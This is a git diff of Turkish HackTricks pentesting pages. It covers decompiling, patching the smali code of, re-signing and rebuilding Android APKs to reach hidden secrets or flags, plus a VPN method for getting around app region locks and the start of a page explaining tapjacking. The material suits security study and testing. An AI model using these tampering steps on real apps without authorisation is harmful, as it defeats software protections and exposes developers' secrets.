||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u** takip edin.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Bazen, sizin için gizli bilgilere erişmek için uygulama kodunu değiştirmek ilginç olabilir (belki iyi gizlenmiş şifreler veya bayraklar). Ardından, apk'yı decompile etmek, kodu değiştirmek ve yeniden derlemek ilginç olabilir.
|
||||
Bazen, gizli bilgilere erişmek için uygulama kodunu değiştirmek ilginç olabilir (belki iyi obfuscate edilmiş şifreler veya bayraklar). O zaman, apk'yı decompile etmek, kodu değiştirmek ve yeniden compile etmek ilginç olabilir.
|
||||
|
||||
**Opcodes referansı:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html)
|
||||
**Opcode referansı:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html)
|
||||
|
||||
## Hızlı Yol
|
||||
|
||||
**Visual Studio Code** ve [APKLab](https://github.com/APKLab/APKLab) uzantısı kullanarak, herhangi bir komut çalıştırmadan uygulamayı **otomatik olarak decompile edebilir**, kodu **değiştirebilir**, yeniden derleyebilir, imzalayabilir ve yükleyebilirsiniz.
|
||||
**Visual Studio Code** ve [APKLab](https://github.com/APKLab/APKLab) uzantısını kullanarak, herhangi bir komut çalıştırmadan uygulamayı **otomatik olarak decompile**, değiştirebilir, **recompile**, imzalayabilir ve yükleyebilirsiniz.
|
||||
|
||||
Bu görevi çok kolaylaştıran başka bir **betik** de [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)
|
||||
Bu görevi oldukça kolaylaştıran başka bir **script** [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)
|
||||
|
||||
## APK'yı decompile etme
|
||||
## APK'yı Decompile Et
|
||||
|
||||
APKTool kullanarak **smali koduna ve kaynaklara** erişebilirsiniz:
|
||||
APKTool kullanarak **smali koduna ve kaynaklarına** erişebilirsiniz:
|
||||
```bash
|
||||
apktool d APP.apk
|
||||
```
|
||||
Eğer **apktool** herhangi bir hata verirse, [**en son sürümü**](https://ibotpeaches.github.io/Apktool/install/) kurmayı deneyin.
|
||||
Eğer **apktool** herhangi bir hata veriyorsa, [**en son sürümü**](https://ibotpeaches.github.io/Apktool/install/) yüklemeyi deneyin.
|
||||
|
||||
Bazı **ilginç dosyalara bakmanız gerekiyor**:
|
||||
**Bakmanız gereken bazı ilginç dosyalar**:
|
||||
|
||||
* _res/values/strings.xml_ (ve res/values/\* içindeki tüm xml'ler)
|
||||
* _res/values/strings.xml_ (ve res/values/* içindeki tüm xml'ler)
|
||||
* _AndroidManifest.xml_
|
||||
* _.sqlite_ veya _.db_ uzantılı herhangi bir dosya
|
||||
* _.sqlite_ veya _.db_ uzantısına sahip herhangi bir dosya
|
||||
|
||||
Eğer `apktool` uygulamayı **çözümlemekte sorun yaşıyorsa**, [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) adresine bakabilir veya **`-r`** argümanını kullanmayı deneyebilirsiniz (Kaynakları çözümleme). Ardından, sorun kaynağı kaynak kodunda değilse, sorununuz olmayacak (kaynakları da decompile etmeyeceksiniz).
|
||||
Eğer `apktool` uygulamayı **çözümlerken sorunlar yaşıyorsa**, [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) adresine bakın veya **`-r`** argümanını kullanmayı deneyin (Kaynakları çözümleme). O zaman, eğer sorun bir kaynakta ve kaynak kodunda değilse, bu sorunla karşılaşmayacaksınız (kaynakları da decompile etmeyeceksiniz).
|
||||
|
||||
## Smali kodunu değiştirme
|
||||
## Smali kodunu değiştir
|
||||
|
||||
**Komutları değiştirebilir**, bazı değişkenlerin **değerini değiştirebilir** veya **yeni komutlar ekleyebilirsiniz**. Ben Smali kodunu [**VS Code**](https://code.visualstudio.com) kullanarak değiştiriyorum, ardından **smalise eklentisini** yüklersiniz ve düzenleyici size herhangi bir **hatalı komut olduğunu** söyler.\
|
||||
**Talimatları** **değiştirebilir**, bazı değişkenlerin **değerlerini** değiştirebilir veya **yeni talimatlar** ekleyebilirsiniz. Smali kodunu [**VS Code**](https://code.visualstudio.com) kullanarak değiştiriyorum, ardından **smalise eklentisini** yükleyin ve editör size herhangi bir **talimatın yanlış olup olmadığını** söyleyecektir.\
|
||||
Bazı **örnekler** burada bulunabilir:
|
||||
|
||||
* [Smali değişiklik örnekleri](smali-changes.md)
|
||||
* [Google CTF 2018 - Shall We Play a Game?](google-ctf-2018-shall-we-play-a-game.md)
|
||||
* [Google CTF 2018 - Oyun Oynayalım mı?](google-ctf-2018-shall-we-play-a-game.md)
|
||||
|
||||
Veya [**aşağıda açıklanan bazı Smali değişikliklerini kontrol edebilirsiniz**](smali-changes.md#modifying-smali).
|
||||
Ya da [**aşağıda bazı Smali değişikliklerinin açıklandığını kontrol edebilirsiniz**](smali-changes.md#modifying-smali).
|
||||
|
||||
## APK'yi yeniden derleme
|
||||
## APK'yı yeniden derle
|
||||
|
||||
Kodu değiştirdikten sonra, kodu **yeniden derleyebilirsiniz**. Bunun için şu komutu kullanabilirsiniz:
|
||||
Kodu değiştirdikten sonra kodu **yeniden derleyebilirsiniz**:
|
||||
```bash
|
||||
apktool b . #In the folder generated when you decompiled the application
|
||||
```
|
||||
Yeni APK'yi **dist** klasörünün **içine derleyecektir**.
|
||||
Yeni APK'yı _**dist**_ klasörünün **içinde** **derleyecektir**.
|
||||
|
||||
Eğer **apktool** bir **hata** verirse, [**en son sürümü**](https://ibotpeaches.github.io/Apktool/install/) **yüklemeyi** deneyin.
|
||||
Eğer **apktool** bir **hata** verirse, [**en son sürümü**](https://ibotpeaches.github.io/Apktool/install/) yüklemeyi deneyin.
|
||||
|
||||
### **Yeni APK'yi imzalayın**
|
||||
### **Yeni APK'yı imzala**
|
||||
|
||||
Ardından, bir **anahtar oluşturmanız** gerekecek (bir şifre ve rastgele doldurabileceğiniz bazı bilgiler istenecektir):
|
||||
Sonra, bir **anahtar** **oluşturmanız** gerekiyor (bir şifre ve rastgele doldurabileceğiniz bazı bilgiler istenecektir):
|
||||
```bash
|
||||
keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias <your-alias>
|
||||
```
|
||||
Son olarak, yeni APK'yi **imzala**:
|
||||
Son olarak, **imzala** yeni APK'yı:
|
||||
```bash
|
||||
jarsigner -keystore key.jks path/to/dist/* <your-alias>
|
||||
```
|
||||
### Yeni uygulamayı optimize edin
|
||||
### Yeni uygulamayı optimize et
|
||||
|
||||
**zipalign**, Android uygulama (APK) dosyalarına önemli bir optimizasyon sağlayan bir arşiv hizalama aracıdır. [Daha fazla bilgi için buraya tıklayın](https://developer.android.com/studio/command-line/zipalign).
|
||||
**zipalign**, Android uygulama (APK) dosyalarına önemli optimizasyonlar sağlayan bir arşiv hizalama aracıdır. [Daha fazla bilgi burada](https://developer.android.com/studio/command-line/zipalign).
|
||||
```bash
|
||||
zipalign [-f] [-v] <alignment> infile.apk outfile.apk
|
||||
zipalign -v 4 infile.apk
|
||||
```
|
||||
### **Yeni APK'yi imzalayın (tekrar?)**
|
||||
### **Yeni APK'yı imzalayın (yine mi?)**
|
||||
|
||||
Eğer [apksigner](https://developer.android.com/studio/command-line/) kullanmayı tercih ederseniz, zipalign ile optimizasyon uyguladıktan sonra APK'yi imzalamalısınız. ANCAK YALNIZCA jarsigner ile (zipalign'den önce) veya aspsigner ile (zipalign'den sonra) UYGULAMAYI BİR KEZ İMZALAMANIZ GEREKTİĞİNE DİKKAT EDİN.
|
||||
Eğer **apksigner** kullanmayı **tercih ediyorsanız**, zipalign ile **optimizasyonu uyguladıktan sonra apk'yı imzalamalısınız**. ANCAK DİKKAT EDİN, UYGULAMAYI SADECE BİR KEZ **jarsigner ile** (zipalign'dan önce) veya **aspsigner ile** (zipalign'dan sonra) İMZALAMALISINIZ.
|
||||
```bash
|
||||
apksigner sign --ks key.jks ./dist/mycompiled.apk
|
||||
```
|
||||
## Smali Değiştirme
|
||||
## Smali'yi Değiştirme
|
||||
|
||||
Aşağıdaki Hello World Java kodu için:
|
||||
```java
|
||||
|
@ -91,7 +92,7 @@ public static void printHelloWorld() {
|
|||
System.out.println("Hello World")
|
||||
}
|
||||
```
|
||||
Smali kodu şu şekilde olacaktır:
|
||||
Smali kodu şöyle olacaktır:
|
||||
```java
|
||||
.method public static printHelloWorld()V
|
||||
.registers 2
|
||||
|
@ -101,13 +102,13 @@ invoke-virtual {v0,v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
|
|||
return-void
|
||||
.end method
|
||||
```
|
||||
Smali talimat seti [burada](https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions) bulunabilir.
|
||||
Smali talimat seti [burada](https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions) mevcuttur.
|
||||
|
||||
### Hafif Değişiklikler
|
||||
|
||||
### Bir fonksiyon içinde bir değişkenin başlangıç değerlerini değiştirme
|
||||
### Bir fonksiyon içindeki bir değişkenin başlangıç değerlerini değiştirin
|
||||
|
||||
Bazı değişkenler, fonksiyonun başında _const_ opcode'unu kullanarak tanımlanır, değerlerini değiştirebilir veya yeni tanımlayabilirsiniz:
|
||||
Bazı değişkenler, _const_ opcode'u kullanılarak fonksiyonun başında tanımlanır, değerlerini değiştirebilir veya yenilerini tanımlayabilirsiniz:
|
||||
```bash
|
||||
#Number
|
||||
const v9, 0xf4240
|
||||
|
@ -116,55 +117,6 @@ const/4 v8, 0x1
|
|||
const-string v5, "wins"
|
||||
```
|
||||
### Temel İşlemler
|
||||
|
||||
#### Smali Dosyalarını Değiştirmek
|
||||
|
||||
Smali dosyaları, Android uygulamalarının derlenmiş DEX dosyalarının insan tarafından okunabilir hali olan bir dildir. Smali dosyalarını değiştirerek uygulamanın davranışını değiştirebiliriz.
|
||||
|
||||
Smali dosyalarını değiştirmek için aşağıdaki adımları izleyebilirsiniz:
|
||||
|
||||
1. İlgili smali dosyasını bulun ve açın.
|
||||
2. İstediğiniz değişiklikleri yapın.
|
||||
3. Dosyayı kaydedin ve kapatın.
|
||||
|
||||
#### Smali Dosyalarını Birleştirmek
|
||||
|
||||
Bazı durumlarda, uygulamanın performansını artırmak veya kodu daha düzenli hale getirmek için smali dosyalarını birleştirmek gerekebilir. Smali dosyalarını birleştirmek için aşağıdaki adımları izleyebilirsiniz:
|
||||
|
||||
1. İlgili smali dosyalarını bulun ve açın.
|
||||
2. İçeriklerini birleştirin.
|
||||
3. Dosyayı kaydedin ve kapatın.
|
||||
|
||||
#### Smali Dosyalarını Ayırmak
|
||||
|
||||
Bazı durumlarda, uygulamanın karmaşıklığını azaltmak veya kodu daha modüler hale getirmek için smali dosyalarını ayırmak gerekebilir. Smali dosyalarını ayırmak için aşağıdaki adımları izleyebilirsiniz:
|
||||
|
||||
1. İlgili smali dosyalarını bulun ve açın.
|
||||
2. İçeriklerini ayırın.
|
||||
3. Dosyayı kaydedin ve kapatın.
|
||||
|
||||
#### Smali Dosyalarını Yeniden Adlandırmak
|
||||
|
||||
Smali dosyalarını yeniden adlandırarak, uygulamanın kodunu daha anlaşılır hale getirebiliriz. Smali dosyalarını yeniden adlandırmak için aşağıdaki adımları izleyebilirsiniz:
|
||||
|
||||
1. İlgili smali dosyalarını bulun ve açın.
|
||||
2. Dosya adını değiştirin.
|
||||
3. Dosyayı kaydedin ve kapatın.
|
||||
|
||||
#### Smali Dosyalarını Silmek
|
||||
|
||||
Bazı durumlarda, uygulamanın gereksiz kodlarını temizlemek için smali dosyalarını silebiliriz. Smali dosyalarını silmek için aşağıdaki adımları izleyebilirsiniz:
|
||||
|
||||
1. İlgili smali dosyasını bulun ve silin.
|
||||
2. Dosyayı kalıcı olarak silmek için çöp kutusundan silin.
|
||||
|
||||
#### Smali Dosyalarını Oluşturmak
|
||||
|
||||
Smali dosyalarını oluşturarak, yeni bir Android uygulaması geliştirebiliriz. Smali dosyalarını oluşturmak için aşağıdaki adımları izleyebilirsiniz:
|
||||
|
||||
1. Yeni bir smali dosyası oluşturun.
|
||||
2. İçeriği düzenleyin.
|
||||
3. Dosyayı kaydedin ve kapatın.
|
||||
```bash
|
||||
#Math
|
||||
add-int/lit8 v0, v2, 0x1 #v2 + 0x1 and save it in v0
|
||||
|
@ -187,9 +139,9 @@ iput v0, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I #Save v0 inside
|
|||
if-ne v0, v9, :goto_6 #If not equals, go to: :goto_6
|
||||
goto :goto_6 #Always go to: :goto_6
|
||||
```
|
||||
### Büyük Değişiklikler
|
||||
### Daha Büyük Değişiklikler
|
||||
|
||||
### Günlük Kayıt (Logging)
|
||||
### Günlükleme
|
||||
```bash
|
||||
#Log win: <number>
|
||||
iget v5, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I #Get this.o inside v5
|
||||
|
@ -198,19 +150,19 @@ move-result-object v1 #Move to v1
|
|||
const-string v5, "wins" #Save "win" inside v5
|
||||
invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I #Logging "Wins: <num>"
|
||||
```
|
||||
Öneriler:
|
||||
Recommendations:
|
||||
|
||||
* Fonksiyon içinde bildirilen değişkenleri kullanacaksanız (bildirilen v0,v1,v2...), bu satırları _.local \<number>_ ve değişkenlerin bildirimleri (_const v0, 0x1_) arasına yerleştirin.
|
||||
* Bir fonksiyonun kodunun ortasına günlükleme kodunu yerleştirmek istiyorsanız:
|
||||
* Bildirilen değişken sayısına 2 ekleyin: Örnek: _.locals 10_ yerine _.locals 12_.
|
||||
* Yeni değişkenler, zaten bildirilen değişkenlerin bir sonraki numaraları olmalıdır (bu örnekte _v10_ ve _v11_ olmalıdır, hatırlayın ki v0'dan başlar).
|
||||
* Günlükleme işlevinin kodunu değiştirin ve _v5_ ve _v1_ yerine _v10_ ve _v11_ kullanın.
|
||||
* Eğer fonksiyon içinde tanımlı değişkenleri kullanacaksanız (tanımlı v0,v1,v2...) bu satırları _.local \<number>_ ile değişkenlerin tanımları (_const v0, 0x1_) arasında koyun.
|
||||
* Eğer bir fonksiyonun kodunun ortasına logging kodunu koymak istiyorsanız:
|
||||
* Tanımlı değişkenlerin sayısına 2 ekleyin: Örnek: _.locals 10_'dan _.locals 12_'ye.
|
||||
* Yeni değişkenler, zaten tanımlı değişkenlerin sonraki numaraları olmalıdır (bu örnekte _v10_ ve _v11_ olmalıdır, v0'dan başladığını unutmayın).
|
||||
* Logging fonksiyonunun kodunu değiştirin ve _v10_ ve _v11_ kullanın, _v5_ ve _v1_ yerine.
|
||||
|
||||
### Toasting
|
||||
|
||||
Fonksiyonun başında _.locals_ sayısına 3 eklemeyi unutmayın.
|
||||
|
||||
Bu kod, bir **fonksiyonun ortasına** yerleştirilmek üzere hazırlanmıştır (**değişkenlerin** sayısını gerektiği gibi **değiştirin**). Bu kod, **this.o** değerini **String**'e dönüştürür ve değeriyle birlikte bir **toast** yapar.
|
||||
Bu kod, **bir fonksiyonun ortasına** eklenmek üzere hazırlanmıştır (**değiştirin** **değişkenlerin** **sayısını** gerektiği gibi). **this.o**'nun **değerini** alacak, **String**'e **dönüştürecek** ve ardından **değerini** kullanarak bir **toast** yapacaktır.
|
||||
```bash
|
||||
const/4 v10, 0x1
|
||||
const/4 v11, 0x1
|
||||
|
@ -222,16 +174,17 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/
|
|||
move-result-object v12
|
||||
invoke-virtual {v12}, Landroid/widget/Toast;->show()V
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,57 +1,28 @@
|
|||
<details>
|
||||
In situations where an application is restricted to certain countries, and you're unable to install it on your Android device due to regional limitations, spoofing your location to a country where the app is available can grant you access. The steps below detail how to do this:
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin.
|
||||
* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
|
||||
|
||||
</details>
|
||||
|
||||
Bir uygulamanın belirli ülkelere sınırlı olduğu durumlarda ve bölgesel kısıtlamalar nedeniyle Android cihazınıza yükleyemediğinizde, uygulamanın mevcut olduğu bir ülkeye konumunuzu sahteleyerek erişim sağlayabilirsiniz. Aşağıdaki adımlar bunu nasıl yapacağınızı detaylandırır:
|
||||
|
||||
1. **Hotspot Shield Free VPN Proxy'yi Yükleyin:**
|
||||
- Google Play Store'dan Hotspot Shield Free VPN Proxy'yi indirip yüklemeye başlayın.
|
||||
1. **Hotspot Shield Ücretsiz VPN Proxy'yi Kurun:**
|
||||
- Google Play Store'dan Hotspot Shield Ücretsiz VPN Proxy'yi indirip kurarak başlayın.
|
||||
|
||||
2. **VPN Sunucusuna Bağlanın:**
|
||||
- Hotspot Shield uygulamasını açın.
|
||||
- Erişmek istediğiniz uygulamanın mevcut olduğu ülkeyi seçerek bir VPN sunucusuna bağlanın.
|
||||
|
||||
3. **Google Play Store Verilerini Temizleyin:**
|
||||
- Cihazınızın **Ayarlar**ına gidin.
|
||||
- **Uygulamalar** veya **Uygulama Yöneticisi**ne gidin (bu cihaza bağlı olarak farklılık gösterebilir).
|
||||
- Uygulamaların listesinden **Google Play Store**'u bulun ve seçin.
|
||||
- Uygulamanın çalışan herhangi bir işlemini sonlandırmak için **Zorla Durdur**a dokunun.
|
||||
- Ardından, Google Play Store uygulamasını varsayılan durumuna sıfırlamak için **Verileri Temizle** veya **Depolamayı Temizle** (kesin ifade farklılık gösterebilir) seçeneğine dokunun.
|
||||
- Cihazınızın **Ayarlar** menüsüne gidin.
|
||||
- **Uygulamalar** veya **Uygulama Yöneticisi** kısmına ilerleyin (bu, cihazınıza bağlı olarak değişebilir).
|
||||
- Uygulamalar listesinden **Google Play Store**'u bulun ve seçin.
|
||||
- Uygulamanın çalışan süreçlerini sonlandırmak için **Zorla Durdur** seçeneğine dokunun.
|
||||
- Ardından, Google Play Store uygulamasını varsayılan durumuna sıfırlamak için **Verileri Temizle** veya **Depolamayı Temizle** (tam ifadeler değişebilir) seçeneğine dokunun.
|
||||
|
||||
4. **Kısıtlı Uygulamaya Erişin:**
|
||||
4. **Kısıtlı Uygulamaya Erişim Sağlayın:**
|
||||
- **Google Play Store**'u açın.
|
||||
- Mağaza şimdi VPN aracılığıyla bağlandığınız ülkenin içeriğini yansıtmalıdır.
|
||||
- Gerçek konumunuzda önceden kullanılamayan uygulamayı arayabilir ve yükleyebilirsiniz.
|
||||
- Mağaza, artık VPN aracılığıyla bağlandığınız ülkenin içeriğini yansıtmalıdır.
|
||||
- Daha önce gerçek konumunuzda mevcut olmayan uygulamayı arayıp yükleyebilmelisiniz.
|
||||
|
||||
### Önemli Notlar:
|
||||
- Bu yöntemin etkinliği, VPN hizmetinin güvenilirliği ve uygulama tarafından uygulanan belirli bölgesel kısıtlamalara bağlı olarak değişebilir.
|
||||
- Bu yöntemin etkinliği, VPN hizmetinin güvenilirliği ve uygulamanın uyguladığı belirli bölgesel kısıtlamalar gibi çeşitli faktörlere bağlı olarak değişebilir.
|
||||
- VPN kullanımı, bazı uygulamaların ve hizmetlerin performansını etkileyebilir.
|
||||
- Bölgesel kısıtlamaları aşmak için VPN kullanmanın hizmet veya uygulamanın hizmet şartlarını ihlal edebileceğini unutmayın.
|
||||
- Kullandığınız herhangi bir uygulama veya hizmetin hizmet şartlarını göz önünde bulundurun, çünkü bölgesel kısıtlamaları aşmak için VPN kullanmak bu şartları ihlal edebilir.
|
||||
|
||||
## Referanslar
|
||||
* [https://manifestsecurity.com/android-application-security-part-23/](https://manifestsecurity.com/android-application-security-part-23/)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin.
|
||||
* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Tapjacking
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) **takip edin**.
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -21,27 +22,27 @@ HackTricks'ı desteklemenin diğer yolları:
|
|||
|
||||
## **Temel Bilgiler**
|
||||
|
||||
**Tapjacking**, **kötü niyetli bir uygulamanın** **kurban uygulamanın üstüne yerleştiği ve konumlandığı** bir saldırıdır. Kurban uygulamayı açıkça engellediğinde, kullanıcı arayüzü kullanıcıyı yanıltacak şekilde tasarlanmıştır ve kullanıcıyı etkileşime girmeye ikna etmeye çalışırken, etkileşimi kurban uygulamaya iletmektedir.\
|
||||
Aslında, kullanıcının **kurban uygulamada gerçekten eylemler gerçekleştirdiğini bilmemesine neden olur**.
|
||||
**Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamanın üzerine yerleştiği** bir saldırıdır. Kurban uygulamayı görünür bir şekilde gizlediğinde, kullanıcı arayüzü, kullanıcının onunla etkileşimde bulunmasını sağlamak için tasarlanmıştır, bu sırada etkileşim kurban uygulamaya iletilmektedir.\
|
||||
Sonuç olarak, bu durum **kullanıcının aslında kurban uygulamasında eylem gerçekleştirdiğini bilmesini engellemektedir**.
|
||||
|
||||
### Tespit
|
||||
|
||||
